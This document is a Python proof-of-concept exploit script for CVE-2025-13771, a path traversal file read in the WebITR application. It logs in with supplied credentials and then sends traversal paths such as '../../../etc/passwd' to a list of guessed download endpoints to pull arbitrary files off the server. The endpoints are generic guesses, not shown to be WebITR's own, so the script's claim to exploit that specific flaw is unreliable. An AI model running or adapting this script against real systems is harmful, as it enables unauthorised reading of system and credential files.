CVE-2025-13771

import requests import sys # CVE-2025-13771 PoC - WebITR Arbitrary File Read via Path Traversal # Target: WebITR application developed by Uniong # Authentication: Required (low-privilege account) def exploit_cve_2025_13771(target_url, username, password, file_path): """ Exploit for CVE-2025-13771: WebITR Arbitrary File Read vulnerability Args: target_url: Base URL of the vulnerable WebITR application username: Valid username for authentication password: Password for the user file_path: Path to the file to read (e.g., ../../../etc/passwd) Returns: Content of the requested file if exploitation succeeds """ # Login to obtain session login_url = f"{target_url}/login" login_data = { "username": username, "password": password } session = requests.Session() try: # Step 1: Authenticate to the application login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed with status code: {login_response.status_code}") return None print("[+] Successfully authenticated") # Step 2: Exploit path traversal to read arbitrary file # Common vulnerable endpoint patterns for file read functionality exploit_endpoints = [ "/api/file/read", "/file/download", "/download", "/api/download", "/file?path=", "/api/file?path=" ] for endpoint in exploit_endpoints: if "=" in endpoint: # GET request with parameter exploit_url = f"{target_url}{endpoint}{file_path}" response = session.get(exploit_url, timeout=10) else: # POST request with JSON body exploit_url = f"{target_url}{endpoint}" exploit_data = { "path": file_path, "filename": file_path.split("/")[-1] } response = session.post(exploit_url, json=exploit_data, timeout=10) # Check if file content was returned if response.status_code == 200 and len(response.content) > 0: # Validate we got actual file content if not response.text.startswith("Error") and not response.text.startswith("Not Found"): print(f"[+] Successfully exploited via endpoint: {endpoint}") print(f"[+] File content length: {len(response.content)} bytes") return response.content print("[-] Exploitation failed - no vulnerable endpoint found") return None except requests.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_13771_poc.py <target_url> <username> <password> <file_path>") print("Example: python cve_2025_13771_poc.py http://vulnerable-host:8080 admin password ../../../etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_to_read = sys.argv[4] result = exploit_cve_2025_13771(target, user, pwd, file_to_read) if result: print("\n[+] File Content:") print(result.decode('utf-8', errors='ignore'))

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